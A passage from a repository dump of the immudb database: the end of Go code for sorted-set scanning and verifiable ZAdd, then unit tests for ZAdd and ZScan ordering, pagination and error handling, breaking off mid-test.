{\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// zKey = [1+setLenLen+len(req.Set)+scoreLen+keyLenLen+1+len(req.Key)+txIDLen]\n\t\tscoreOff := 1 + setLenLen + len(req.Set)\n\t\tscoreB := binary.BigEndian.Uint64(zKey[scoreOff:])\n\t\tscore := math.Float64frombits(scoreB)\n\n\t\t// Guard to ensure that score match the filter range if filter is provided\n\t\tif req.MinScore != nil && score < req.MinScore.Score {\n\t\t\tcontinue\n\t\t}\n\t\tif req.MaxScore != nil && score > req.MaxScore.Score {\n\t\t\tcontinue\n\t\t}\n\n\t\tkeyOff := scoreOff + scoreLen + keyLenLen\n\t\tkey := make([]byte, len(zKey)-keyOff-txIDLen)\n\t\tcopy(key, zKey[keyOff:])\n\n\t\tatTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):])\n\n\t\te, err := d.getAtTx(ctx, key, atTx, 1, kvsnap, 0, true)\n\t\tif errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) {\n\t\t\tcontinue // ignore deleted or truncated ones (referenced key may have been deleted or truncated)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tzentry := &schema.ZEntry{\n\t\t\tSet:   req.Set,\n\t\t\tKey:   key[1:],\n\t\t\tEntry: e,\n\t\t\tScore: score,\n\t\t\tAtTx:  atTx,\n\t\t}\n\n\t\tentries.Entries = append(entries.Entries, zentry)\n\t}\n\n\treturn entries, nil\n}\n\n// VerifiableZAdd ...\nfunc (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\tif req == nil {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tlastTx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(lastTx)\n\n\ttxMetatadata, err := d.ZAdd(ctx, req.ZAddRequest)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = d.st.ReadTx(uint64(txMetatadata.Id), false, lastTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar prevTxHdr *store.TxHeader\n\tif req.ProveSinceTx == 0 {\n\t\tprevTxHdr = lastTx.Header()\n\t} else {\n\t\tprevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdualProof, err := d.st.DualProof(prevTxHdr, lastTx.Header())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.VerifiableTx{\n\t\tTx:        schema.TxToProto(lastTx),\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/database/sorted_set_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStoreIndexExists(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myFirstElementKey`), Value: []byte(`firstValue`)}}})\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`mySecondElementKey`), Value: []byte(`secondValue`)}}})\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`myThirdElementKey`), Value: []byte(`thirdValue`)}}})\n\trequire.NoError(t, err)\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tKey:   []byte(`myFirstElementKey`),\n\t\tSet:   []byte(`firstIndex`),\n\t\tScore: float64(14.6),\n\t}\n\n\treference1, err1 := db.ZAdd(context.Background(), zaddOpts1)\n\trequire.NoError(t, err1)\n\trequire.Exactly(t, uint64(4), reference1.Id)\n\trequire.NotEmptyf(t, reference1, \"Should not be empty\")\n\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tKey:   []byte(`mySecondElementKey`),\n\t\tSet:   []byte(`firstIndex`),\n\t\tScore: float64(6),\n\t}\n\n\treference2, err2 := db.ZAdd(context.Background(), zaddOpts2)\n\trequire.NoError(t, err2)\n\trequire.Exactly(t, uint64(5), reference2.Id)\n\trequire.NotEmptyf(t, reference2, \"Should not be empty\")\n\n\tzaddOpts2 = &schema.ZAddRequest{\n\t\tKey:      []byte(`mySecondElementKey`),\n\t\tSet:      []byte(`firstIndex`),\n\t\tScore:    float64(6),\n\t\tAtTx:     0,\n\t\tBoundRef: true,\n\t}\n\t_, err2 = db.ZAdd(context.Background(), zaddOpts2)\n\trequire.ErrorIs(t, err2, ErrIllegalArguments)\n\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tKey:   []byte(`myThirdElementKey`),\n\t\tSet:   []byte(`firstIndex`),\n\t\tScore: float64(14.5),\n\t}\n\n\treference3, err3 := db.ZAdd(context.Background(), zaddOpts3)\n\trequire.NoError(t, err3)\n\trequire.Exactly(t, uint64(6), reference3.Id)\n\trequire.NotEmptyf(t, reference3, \"Should not be empty\")\n\n\tzscanOpts := &schema.ZScanRequest{\n\t\tSet:   []byte(`firstIndex`),\n\t\tLimit: uint64(db.MaxResultSize() + 1),\n\t}\n\n\t_, err = db.ZScan(context.Background(), zscanOpts)\n\trequire.ErrorIs(t, err, ErrResultSizeLimitExceeded)\n\n\t//try to retrieve directly the value or full scan to debug\n\n\tzscanOpts1 := &schema.ZScanRequest{\n\t\tSet: []byte(`firstIndex`),\n\t}\n\n\titemList1, err := db.ZScan(context.Background(), zscanOpts1)\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList1.Entries, 3)\n\trequire.Equal(t, []byte(`mySecondElementKey`), itemList1.Entries[0].Entry.Key)\n\trequire.Equal(t, []byte(`myThirdElementKey`), itemList1.Entries[1].Entry.Key)\n\trequire.Equal(t, []byte(`myFirstElementKey`), itemList1.Entries[2].Entry.Key)\n\n\tzscanOpts2 := &schema.ZScanRequest{\n\t\tSet:      []byte(`firstIndex`),\n\t\tMaxScore: &schema.Score{Score: 100.0},\n\t\tDesc:     true,\n\t}\n\n\titemList2, err := db.ZScan(context.Background(), zscanOpts2)\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList2.Entries, 3)\n\trequire.Equal(t, []byte(`myFirstElementKey`), itemList2.Entries[0].Entry.Key)\n\trequire.Equal(t, []byte(`myThirdElementKey`), itemList2.Entries[1].Entry.Key)\n\trequire.Equal(t, []byte(`mySecondElementKey`), itemList2.Entries[2].Entry.Key)\n}\n\nfunc TestStoreIndexEqualKeys(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.ZAdd(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}})\n\ti2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}})\n\ti3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}})\n\n\ti, err := db.SetReference(context.Background(), &schema.ReferenceRequest{Key: []byte(`myTag1`), ReferencedKey: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true})\n\trequire.NoError(t, err)\n\n\tzaddOpts := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`myTag1`),\n\t\tAtTx:     i.Id,\n\t\tBoundRef: true,\n\t}\n\n\t_, err = db.ZAdd(context.Background(), zaddOpts)\n\trequire.ErrorIs(t, err, ErrReferencedKeyCannotBeAReference)\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`SignerId1`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference1, err1 := db.ZAdd(context.Background(), zaddOpts1)\n\trequire.NoError(t, err1)\n\trequire.Exactly(t, uint64(5), reference1.Id)\n\trequire.NotEmptyf(t, reference1, \"Should not be empty\")\n\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tKey:      []byte(`SignerId1`),\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(2),\n\t\tAtTx:     i2.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference2, err2 := db.ZAdd(context.Background(), zaddOpts2)\n\trequire.NoError(t, err2)\n\trequire.Exactly(t, uint64(6), reference2.Id)\n\trequire.NotEmptyf(t, reference2, \"Should not be empty\")\n\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tKey:      []byte(`SignerId2`),\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(3),\n\t\tAtTx:     i3.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference3, err3 := db.ZAdd(context.Background(), zaddOpts3)\n\trequire.NoError(t, err3)\n\trequire.Exactly(t, uint64(7), reference3.Id)\n\trequire.NotEmptyf(t, reference3, \"Should not be empty\")\n\n\tzscanOpts1 := &schema.ZScanRequest{\n\t\tSet:     []byte(`hashA`),\n\t\tDesc:    false,\n\t\tSinceTx: reference3.Id,\n\t}\n\n\titemList1, err := db.ZScan(context.Background(), zscanOpts1)\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList1.Entries, 3)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key)\n\trequire.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key)\n}\n\nfunc TestStoreIndexEqualKeysEqualScores(t *testing.T) {\n\tdb := makeDb(t)\n\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}})\n\ti2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}})\n\ti3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}})\n\n\tscore := float64(1.1)\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    score,\n\t\tKey:      []byte(`SignerId1`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference1, err1 := db.ZAdd(context.Background(), zaddOpts1)\n\n\trequire.NoError(t, err1)\n\trequire.Exactly(t, uint64(4), reference1.Id)\n\trequire.NotEmptyf(t, reference1, \"Should not be empty\")\n\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tKey:      []byte(`SignerId1`),\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    score,\n\t\tAtTx:     i2.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference2, err2 := db.ZAdd(context.Background(), zaddOpts2)\n\n\trequire.NoError(t, err2)\n\trequire.Exactly(t, uint64(5), reference2.Id)\n\trequire.NotEmptyf(t, reference2, \"Should not be empty\")\n\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tKey:      []byte(`SignerId2`),\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    score,\n\t\tAtTx:     i3.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference3, err3 := db.ZAdd(context.Background(), zaddOpts3)\n\n\trequire.NoError(t, err3)\n\trequire.Exactly(t, uint64(6), reference3.Id)\n\trequire.NotEmptyf(t, reference3, \"Should not be empty\")\n\n\tzscanOpts1 := &schema.ZScanRequest{\n\t\tSet:     []byte(`hashA`),\n\t\tDesc:    false,\n\t\tSinceTx: reference3.Id,\n\t}\n\n\titemList1, err := db.ZScan(context.Background(), zscanOpts1)\n\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList1.Entries, 3)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key)\n\trequire.Equal(t, []byte(`firstValue`), itemList1.Entries[0].Entry.Value)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key)\n\trequire.Equal(t, []byte(`secondValue`), itemList1.Entries[1].Entry.Value)\n\trequire.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key)\n\trequire.Equal(t, []byte(`thirdValue`), itemList1.Entries[2].Entry.Value)\n\n}\n\nfunc TestStoreIndexEqualKeysMismatchError(t *testing.T) {\n\tdb := makeDb(t)\n\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}})\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`WrongKey`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\n\t_, err := db.ZAdd(context.Background(), zaddOpts1)\n\n\trequire.ErrorIs(t, err, store.ErrKeyNotFound)\n}\n\n// TestStore_ZScanMinMax\n// set1\n// key: key1, score: 1\n// key: key2, score: 1\n// key: key3, score: 2\n// key: key4, score: 2\n// key: key5, score: 2\n// key: key6, score: 3/*\nfunc TestStore_ZScanPagination(t *testing.T) {\n\tdb := makeDb(t)\n\n\tsetName := []byte(`set1`)\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}})\n\ti2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}})\n\ti3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}})\n\ti4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}})\n\ti5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}})\n\ti6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}})\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`key1`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`key2`),\n\t\tAtTx:     i2.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key3`),\n\t\tAtTx:     i3.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts4 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key4`),\n\t\tAtTx:     i4.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts5 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key5`),\n\t\tAtTx:     i5.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts6 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(3),\n\t\tKey:      []byte(`key6`),\n\t\tAtTx:     i6.Id,\n\t\tBoundRef: true,\n\t}\n\n\tdb.ZAdd(context.Background(), zaddOpts1)\n\tdb.ZAdd(context.Background(), zaddOpts2)\n\tdb.ZAdd(context.Background(), zaddOpts3)\n\tdb.ZAdd(context.Background(), zaddOpts4)\n\tdb.ZAdd(context.Background(), zaddOpts5)\n\n\tmeta, err := db.ZAdd(context.Background(), zaddOpts6)\n\trequire.NoError(t, err)\n\n\tzScanOption0 := &schema.ZScanRequest{\n\t\tSet:      setName,\n\t\tMinScore: &schema.Score{Score: 20},\n\t\tSinceTx:  meta.Id,\n\t}\n\n\tlist0, err := db.ZScan(context.Background(), zScanOption0)\n\trequire.NoError(t, err)\n\trequire.Empty(t, list0.Entries)\n\n\tzScanOption1 := &schema.ZScanRequest{\n\t\tSet:      setName,\n\t\tSeekKey:  nil,\n\t\tLimit:    2,\n\t\tDesc:     false,\n\t\tMinScore: &schema.Score{Score: 2},\n\t\tMaxScore: &schema.Score{Score: 3},\n\t\tSinceTx:  meta.Id,\n\t}\n\n\tlist1, err := db.ZScan(context.Background(), zScanOption1)\n\trequire.NoError(t, err)\n\trequire.Len(t, list1.Entries, 2)\n\trequire.Equal(t, list1.Entries[0].Entry.Key, []byte(`key3`))\n\trequire.Equal(t, list1.Entries[1].Entry.Key, []byte(`key4`))\n\n\tlastItem := list1.Entries[len(list1.Entries)-1]\n\n\tzScanOption2 := &schema.ZScanRequest{\n\t\tSet:       setName,\n\t\tSeekKey:   lastItem.Key,\n\t\tSeekScore: lastItem.Score,\n\t\tSeekAtTx:  lastItem.AtTx,\n\t\tLimit:     2,\n\t\tDesc:      false,\n\t\tMinScore:  &schema.Score{Score: 2},\n\t\tMaxScore:  &schema.Score{Score: 3},\n\t\tSinceTx:   meta.Id,\n\t}\n\n\tlist, err := db.ZScan(context.Background(), zScanOption2)\n\trequire.NoError(t, err)\n\trequire.Len(t, list.Entries, 2)\n\trequire.Equal(t, list.Entries[0].Entry.Key, []byte(`key5`))\n\trequire.Equal(t, list.Entries[1].Entry.Key, []byte(`key6`))\n}\n\n// TestStore_ZScanMinMax\n// set1\n// key: key1, score: 1\n// key: key2, score: 1\n// key: key3, score: 2\n// key: key4, score: 2\n// key: key5, score: 2\n// key: key6, score: 3\nfunc TestStore_ZScanReversePagination(t *testing.T) {\n\tdb := makeDb(t)\n\n\tsetName := []byte(`set1`)\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1`)}}})\n\ti2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2`)}}})\n\ti3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3`)}}})\n\ti4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key4`), Value: []byte(`val4`)}}})\n\ti5, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key5`), Value: []byte(`val5`)}}})\n\ti6, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key6`), Value: []byte(`val6`)}}})\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`key1`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`key2`),\n\t\tAtTx:     i2.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key3`),\n\t\tAtTx:     i3.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts4 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key4`),\n\t\tAtTx:     i4.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts5 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`key5`),\n\t\tAtTx:     i5.Id,\n\t\tBoundRef: true,\n\t}\n\tzaddOpts6 := &schema.ZAddRequest{\n\t\tSet:      setName,\n\t\tScore:    float64(3),\n\t\tKey:      []byte(`key6`),\n\t\tAtTx:     i6.Id,\n\t\tBoundRef: true,\n\t}\n\n\tdb.ZAdd(context.Background(), zaddOpts1)\n\tdb.ZAdd(context.Background(), zaddOpts2)\n\tdb.ZAdd(context.Background(), zaddOpts3)\n\tdb.ZAdd(context.Background(), zaddOpts4)\n\tdb.ZAdd(context.Background(), zaddOpts5)\n\tmeta, err := db.ZAdd(context.Background(), zaddOpts6)\n\trequire.NoError(t, err)\n\n\tzScanOption1 := &schema.ZScanRequest{\n\t\tSet:           setName,\n\t\tSeekKey:       []byte(`key6`),\n\t\tSeekScore:     math.MaxFloat64,\n\t\tSeekAtTx:      math.MaxUint64,\n\t\tInclusiveSeek: true,\n\t\tLimit:         2,\n\t\tDesc:          true,\n\t\tMaxScore:      &schema.Score{Score: 3},\n\t\tSinceTx:       meta.Id,\n\t}\n\n\tlist1, err := db.ZScan(context.Background(), zScanOption1)\n\trequire.NoError(t, err)\n\trequire.Len(t, list1.Entries, 2)\n\trequire.Equal(t, list1.Entries[0].Entry.Key, []byte(`key6`))\n\trequire.Equal(t, list1.Entries[1].Entry.Key, []byte(`key5`))\n\n\tlastItem := list1.Entries[len(list1.Entries)-1]\n\n\tzScanOption2 := &schema.ZScanRequest{\n\t\tSet:           setName,\n\t\tSeekScore:     lastItem.Score,\n\t\tSeekAtTx:      lastItem.AtTx,\n\t\tSeekKey:       lastItem.Key,\n\t\tLimit:         2,\n\t\tInclusiveSeek: true,\n\t\tDesc:          true,\n\t\tSinceTx:       meta.Id,\n\t}\n\n\tlist2, err := db.ZScan(context.Background(), zScanOption2)\n\trequire.NoError(t, err)\n\trequire.Len(t, list2.Entries, 2)\n\trequire.Equal(t, list2.Entries[0].Entry.Key, []byte(`key5`))\n\trequire.Equal(t, list2.Entries[1].Entry.Key, []byte(`key4`))\n\n\tzScanOption3 := &schema.ZScanRequest{\n\t\tSet:           setName,\n\t\tSeekScore:     lastItem.Score,\n\t\tSeekAtTx:      lastItem.AtTx,\n\t\tSeekKey:       lastItem.Key,\n\t\tLimit:         2,\n\t\tInclusiveSeek: false,\n\t\tDesc:          true,\n\t\tSinceTx:       meta.Id,\n\t}\n\n\tlist3, err := db.ZScan(context.Background(), zScanOption3)\n\trequire.NoError(t, err)\n\trequire.Len(t, list3.Entries, 2)\n\trequire.Equal(t, list3.Entries[0].Entry.Key, []byte(`key4`))\n\trequire.Equal(t, list3.Entries[1].Entry.Key, []byte(`key3`))\n}\n\nfunc TestStore_ZScanInvalidSet(t *testing.T) {\n\tdb := makeDb(t)\n\n\topt := &schema.ZScanRequest{\n\t\tSet: nil,\n\t}\n\t_, err := db.ZScan(context.Background(), opt)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n}\n\nfunc TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) {\n\tdb := makeDb(t)\n\n\tidx0, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-A`)}}})\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2-A`)}}})\n\tidx2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-B`)}}})\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3-A`)}}})\n\tidx4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-C`)}}})\n\n\tdb.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:      []byte(`mySet`),\n\t\tScore:    0,\n\t\tKey:      []byte(`key1`),\n\t\tAtTx:     idx2.Id,\n\t\tBoundRef: true,\n\t})\n\tdb.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:      []byte(`mySet`),\n\t\tScore:    0,\n\t\tKey:      []byte(`key1`),\n\t\tAtTx:     idx0.Id,\n\t\tBoundRef: true,\n\t})\n\tdb.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:   []byte(`mySet`),\n\t\tScore: 0,\n\t\tKey:   []byte(`key2`),\n\t})\n\tdb.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:   []byte(`mySet`),\n\t\tScore: 0,\n\t\tKey:   []byte(`key3`),\n\t})\n\tmeta, _ := db.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:      []byte(`mySet`),\n\t\tScore:    0,\n\t\tKey:      []byte(`key1`),\n\t\tAtTx:     idx4.Id,\n\t\tBoundRef: true,\n\t})\n\n\tZScanRequest := &schema.ZScanRequest{\n\t\tSet:     []byte(`mySet`),\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err := db.ZScan(context.Background(), ZScanRequest)\n\trequire.NoError(t, err)\n\t// same key, sorted by internal timestamp\n\trequire.Exactly(t, []byte(`val1-A`), list.Entries[0].Entry.Value)\n\trequire.Exactly(t, []byte(`val1-B`), list.Entries[1].Entry.Value)\n\trequire.Exactly(t, []byte(`val1-C`), list.Entries[2].Entry.Value)\n\trequire.Exactly(t, []byte(`val2-A`), list.Entries[3].Entry.Value)\n\trequire.Exactly(t, []byte(`val3-A`), list.Entries[4].Entry.Value)\n}\n\nfunc TestStoreZScanOnZAddIndexReference(t *testing.T) {\n\tdb := makeDb(t)\n\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}})\n\ti2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}})\n\ti3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}})\n\n\tzaddOpts1 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(1),\n\t\tKey:      []byte(`SignerId1`),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference1, err1 := db.ZAdd(context.Background(), zaddOpts1)\n\trequire.NoError(t, err1)\n\trequire.Exactly(t, uint64(4), reference1.Id)\n\trequire.NotEmptyf(t, reference1, \"Should not be empty\")\n\n\tzaddOpts2 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(2),\n\t\tKey:      []byte(`SignerId1`),\n\t\tAtTx:     i2.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference2, err2 := db.ZAdd(context.Background(), zaddOpts2)\n\trequire.NoError(t, err2)\n\trequire.Exactly(t, uint64(5), reference2.Id)\n\trequire.NotEmptyf(t, reference2, \"Should not be empty\")\n\n\tzaddOpts3 := &schema.ZAddRequest{\n\t\tSet:      []byte(`hashA`),\n\t\tScore:    float64(3),\n\t\tKey:      []byte(`SignerId2`),\n\t\tAtTx:     i3.Id,\n\t\tBoundRef: true,\n\t}\n\n\treference3, err3 := db.ZAdd(context.Background(), zaddOpts3)\n\trequire.NoError(t, err3)\n\trequire.Exactly(t, uint64(6), reference3.Id)\n\trequire.NotEmptyf(t, reference3, \"Should not be empty\")\n\n\tzscanOpts1 := &schema.ZScanRequest{\n\t\tSet:     []byte(`hashA`),\n\t\tDesc:    false,\n\t\tSinceTx: reference3.Id,\n\t}\n\n\titemList1, err := db.ZScan(context.Background(), zscanOpts1)\n\trequire.NoError(t, err)\n\trequire.Len(t, itemList1.Entries, 3)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key)\n\trequire.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key)\n\trequire.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key)\n\n}\n\nfunc TestStoreVerifiableZAdd(t *testing.T) {\n\tdb := makeDb(t)\n\n\t_, err := db.VerifiableZAdd(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\ti1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}})\n\n\t_, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{\n\t\tZAddRequest:  nil,\n\t\tProveSinceTx: i1.Id,\n\t})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\t_, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{\n\t\tZAddRequest:  nil,\n\t\tProveSinceTx: i1.Id,\n\t})\n\trequire.ErrorIs(t, err, store.ErrIllegalArguments)\n\n\treq := &schema.ZAddRequest{\n\t\tSet:      []byte(`set1`),\n\t\tKey:      []byte(`key1`),\n\t\tScore:    float64(1.1),\n\t\tAtTx:     i1.Id,\n\t\tBoundRef: true,\n\t}\n\n\tvtx, err := 